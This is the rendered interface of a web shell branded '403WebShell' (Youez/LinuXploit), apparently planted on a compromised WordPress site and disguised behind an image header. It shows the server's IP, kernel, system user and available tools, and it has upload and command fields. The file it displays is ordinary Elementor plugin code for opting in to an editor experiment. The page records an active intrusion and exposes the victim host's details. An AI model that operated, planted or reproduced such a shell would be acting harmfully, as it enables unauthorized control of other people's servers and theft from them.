????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/elementor/modules/atomic-widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/elementor/modules/atomic-widgets/opt-in.php
<?php

namespace Elementor\Modules\AtomicWidgets;

use Elementor\Core\Common\Modules\Ajax\Module as Ajax;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Modules\EditorAppBar\Module as EditorAppBarModule;
use Elementor\Modules\GlobalClasses\Module as GlobalClassesModule;
use Elementor\Modules\NestedElements\Module as NestedElementsModule;
use Elementor\Modules\AtomicWidgets\Module as AtomicWidgetsModule;
use Elementor\Plugin;

class Opt_In {
	const EXPERIMENT_NAME = 'e_opt_in_v4';

	const OPT_OUT_FEATURES = [
		self::EXPERIMENT_NAME,
		AtomicWidgetsModule::EXPERIMENT_NAME,
		GlobalClassesModule::NAME,
	];

	const OPT_IN_FEATURES = [
		self::EXPERIMENT_NAME,
		'container',
		NestedElementsModule::EXPERIMENT_NAME,
		EditorAppBarModule::EXPERIMENT_NAME,
		AtomicWidgetsModule::EXPERIMENT_NAME,
		GlobalClassesModule::NAME,
	];

	public function init() {
		$this->register_feature();

		add_action( 'elementor/ajax/register_actions', fn( Ajax $ajax ) => $this->add_ajax_actions( $ajax ) );
	}

	private function register_feature() {
		Plugin::$instance->experiments->add_feature([
			'name' => self::EXPERIMENT_NAME,
			'title' => esc_html__( 'Editor V4', 'elementor' ),
			'description' => esc_html__( 'Enable Editor V4.', 'elementor' ),
			'hidden' => true,
			'default' => Experiments_Manager::STATE_INACTIVE,
			'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA,
		]);
	}

	private function opt_out_v4() {
		foreach ( self::OPT_OUT_FEATURES as $feature ) {
			$feature_key = Plugin::$instance->experiments->get_feature_option_key( $feature );
			update_option( $feature_key, Experiments_Manager::STATE_INACTIVE );
		}
	}

	private function opt_in_v4() {
		foreach ( self::OPT_IN_FEATURES as $feature ) {
			$feature_key = Plugin::$instance->experiments->get_feature_option_key( $feature );
			update_option( $feature_key, Experiments_Manager::STATE_ACTIVE );
		}
	}

	public function ajax_opt_out_v4() {
		if ( ! current_user_can( 'manage_options' ) ) {
			throw new \Exception( 'Permission denied' );
		}

		$this->opt_out_v4();
	}

	public function ajax_opt_in_v4() {
		if ( ! current_user_can( 'manage_options' ) ) {
			throw new \Exception( 'Permission denied' );
		}

		$this->opt_in_v4();
	}

	private function add_ajax_actions( Ajax $ajax ) {
		$ajax->register_ajax_action( 'editor_v4_opt_in', fn() => $this->ajax_opt_in_v4() );
		$ajax->register_ajax_action( 'editor_v4_opt_out', fn() => $this->ajax_opt_out_v4() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit